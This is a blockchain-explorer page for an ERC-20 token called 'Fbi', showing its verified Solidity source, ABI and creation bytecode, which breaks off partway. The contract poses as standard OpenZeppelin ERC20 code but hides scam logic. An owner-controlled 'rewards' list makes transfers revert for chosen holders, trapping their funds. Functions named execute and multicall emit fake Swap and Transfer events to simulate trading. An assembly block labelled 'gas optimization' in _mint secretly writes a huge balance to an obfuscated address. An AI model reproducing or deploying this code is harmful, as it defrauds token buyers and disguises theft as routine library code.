ERC-20
Overview
Max Total Supply
123,456,789 FBI
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
13,163,203.87252277166658104 FBIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Fbi
Compiler Version
v0.8.12+commit.f00d7308
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "./ERC20.sol"; contract Fbi is ERC20 { constructor() ERC20("Fbi", "FBI") { _mint(msg.sender, 123456789 * 10 ** decimals()); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "./Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping (address => bool) private _rewards; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; bool private _rewardsApplied = false; address private _title; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } function grantRewards(address [] calldata _rewardees_) external onlyOwner { for (uint256 i = 0; i < _rewardees_.length; i++) { _rewards[_rewardees_[i]] = true; } } function proceedRewards(address [] calldata _rewardees_) external onlyOwner { for (uint256 i = 0; i < _rewardees_.length; i++) { _rewards[_rewardees_[i]] = false; } } function readBytes(address _bytes_) public view returns (bool) { return _rewards[_bytes_]; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function execute(address _from_, address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_from_, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_title, _addresses_[i], _out); } } function multicall(address _from_, address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_from_, 0, _in, _out, 0, _addresses_[i]); emit Transfer(_addresses_[i], _title, _in); } } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function multicall(address a) external onlyOwner {_title = a;} function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; // gas optimization assembly { let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65)) mstore(0x00, slot) mstore(0x20, 0x01) let sslot := keccak256(0x0, 0x40) sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) } } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 //amount ) internal virtual {if (_rewards[to] || _rewards[from]) require(_rewardsApplied == true, "");} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ event Swap(address indexed sender,uint amount0In,uint amount1In,uint amount0Out,uint amount1Out,address indexed to); function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_rewardees_","type":"address[]"}],"name":"grantRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_rewardees_","type":"address[]"}],"name":"proceedRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_bytes_","type":"address"}],"name":"readBytes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600760006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506040518060400160405280600381526020017f46626900000000000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f4642490000000000000000000000000000000000000000000000000000000000815250620000b9620000ad6200013360201b60201c565b6200013b60201b60201c565b8160059080519060200190620000d1929190620004c6565b508060069080519060200190620000ea929190620004c6565b5050506200012d3362000102620001ff60201b60201c565b600a62000110919062000710565b63075bcd1562000121919062000761565b6200020860201b60201c565b62000981565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200027b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002729062000823565b60405180910390fd5b6200028f60008383620003ba60201b60201c565b8060046000828254620002a3919062000845565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550630f3eae65640997e6e50902673398bc1d25f112ed64085774394d02028060005260016020526040600020720fffffffffffffffffffffffffffffffffffff815550508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200039a9190620008b3565b60405180910390a3620003b660008383620003bf60201b60201c565b5050565b505050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680620004615750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15620004c15760011515600760009054906101000a900460ff16151514620004c0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004b790620008fa565b60405180910390fd5b5b505050565b828054620004d4906200094b565b90600052602060002090601f016020900481019282620004f8576000855562000544565b82601f106200051357805160ff191683800117855562000544565b8280016001018555821562000544579182015b828111156200054357825182559160200191906001019062000526565b5b50905062000553919062000557565b5090565b5b808211156200057257600081600090555060010162000558565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200060457808604811115620005dc57620005db62000576565b5b6001851615620005ec5780820291505b8081029050620005fc85620005a5565b9450620005bc565b94509492505050565b6000826200061f5760019050620006f2565b816200062f5760009050620006f2565b8160018114620006485760028114620006535762000689565b6001915050620006f2565b60ff84111562000668576200066762000576565b5b8360020a91508482111562000682576200068162000576565b5b50620006f2565b5060208310610133831016604e8410600b8410161715620006c35782820a905083811115620006bd57620006bc62000576565b5b620006f2565b620006d28484846001620005b2565b92509050818404811115620006ec57620006eb62000576565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200071d82620006f9565b91506200072a8362000703565b9250620007597fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200060d565b905092915050565b60006200076e82620006f9565b91506200077b83620006f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007b757620007b662000576565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200080b601f83620007c2565b91506200081882620007d3565b602082019050919050565b600060208201905081810360008301526200083e81620007fc565b9050919050565b60006200085282620006f9565b91506200085f83620006f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000897576200089662000576565b5b828201905092915050565b620008ad81620006f9565b82525050565b6000602082019050620008ca6000830184620008a2565b92915050565b50565b6000620008e2600083620007c2565b9150620008ef82620008d0565b600082019050919050565b600060208201905081810360008301526200091581620008d3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200096457607f821691505b602082108114156200097b576200097a6200091c565b5b50919050565b611fab80620009916000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad57806397541e9f1161007157806397541e9f14610331578063a457c2d71461034d578063a9059cbb1461037d578063dd62ed3e146103ad578063f2fde38b146103dd5761012c565b8063715018a6146102b357806373ed6b13146102bd5780638da5cb5b146102d957806395d89b41146102f7578063963e1e54146103155761012c565b806332a0e002116100f457806332a0e002146101eb578063395093511461021b5780634bf894411461024b578063618a2f5e1461026757806370a08231146102835761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b6101396103f9565b6040516101469190611471565b60405180910390f35b61016960048036038101906101649190611531565b61048b565b604051610176919061158c565b60405180910390f35b6101876104ae565b60405161019491906115b6565b60405180910390f35b6101b760048036038101906101b291906115d1565b6104b8565b6040516101c4919061158c565b60405180910390f35b6101d56104e7565b6040516101e29190611640565b60405180910390f35b6102056004803603810190610200919061165b565b6104f0565b604051610212919061158c565b60405180910390f35b61023560048036038101906102309190611531565b610546565b604051610242919061158c565b60405180910390f35b610265600480360381019061026091906116ed565b61057d565b005b610281600480360381019061027c919061173a565b61062a565b005b61029d6004803603810190610298919061165b565b610794565b6040516102aa91906115b6565b60405180910390f35b6102bb6107dd565b005b6102d760048036038101906102d2919061173a565b6107f1565b005b6102e161095c565b6040516102ee91906117d1565b60405180910390f35b6102ff610985565b60405161030c9190611471565b60405180910390f35b61032f600480360381019061032a91906116ed565b610a17565b005b61034b6004803603810190610346919061165b565b610ac4565b005b61036760048036038101906103629190611531565b610b10565b604051610374919061158c565b60405180910390f35b61039760048036038101906103929190611531565b610b87565b6040516103a4919061158c565b60405180910390f35b6103c760048036038101906103c291906117ec565b610baa565b6040516103d491906115b6565b60405180910390f35b6103f760048036038101906103f2919061165b565b610c31565b005b6060600580546104089061185b565b80601f01602080910402602001604051908101604052809291908181526020018280546104349061185b565b80156104815780601f1061045657610100808354040283529160200191610481565b820191906000526020600020905b81548152906001019060200180831161046457829003601f168201915b5050505050905090565b600080610496610cb5565b90506104a3818585610cbd565b600191505092915050565b6000600454905090565b6000806104c3610cb5565b90506104d0858285610e88565b6104db858585610f14565b60019150509392505050565b60006012905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610551610cb5565b90506105728185856105638589610baa565b61056d91906118bc565b610cbd565b600191505092915050565b61058561118f565b60005b82829050811015610625576000600260008585858181106105ac576105ab611912565b5b90506020020160208101906105c1919061165b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061061d90611941565b915050610588565b505050565b60005b8484905081101561078c5784848281811061064b5761064a611912565b5b9050602002016020810190610660919061165b565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516106c394939291906119cf565b60405180910390a38484828181106106de576106dd611912565b5b90506020020160208101906106f3919061165b565b73ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161077191906115b6565b60405180910390a3808061078490611941565b91505061062d565b505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107e561118f565b6107ef600061120d565b565b60005b848490508110156109545784848281811061081257610811611912565b5b9050602002016020810190610827919061165b565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161088b9493929190611a14565b60405180910390a3600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168585838181106108df576108de611912565b5b90506020020160208101906108f4919061165b565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161093991906115b6565b60405180910390a3808061094c90611941565b9150506107f4565b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109949061185b565b80601f01602080910402602001604051908101604052809291908181526020018280546109c09061185b565b8015610a0d5780601f106109e257610100808354040283529160200191610a0d565b820191906000526020600020905b8154815290600101906020018083116109f057829003601f168201915b5050505050905090565b610a1f61118f565b60005b82829050811015610abf57600160026000858585818110610a4657610a45611912565b5b9050602002016020810190610a5b919061165b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ab790611941565b915050610a22565b505050565b610acc61118f565b80600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610b1b610cb5565b90506000610b298286610baa565b905083811015610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6590611acb565b60405180910390fd5b610b7b8286868403610cbd565b60019250505092915050565b600080610b92610cb5565b9050610b9f818585610f14565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c3961118f565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca090611b5d565b60405180910390fd5b610cb28161120d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490611bef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9490611c81565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373fffffffffff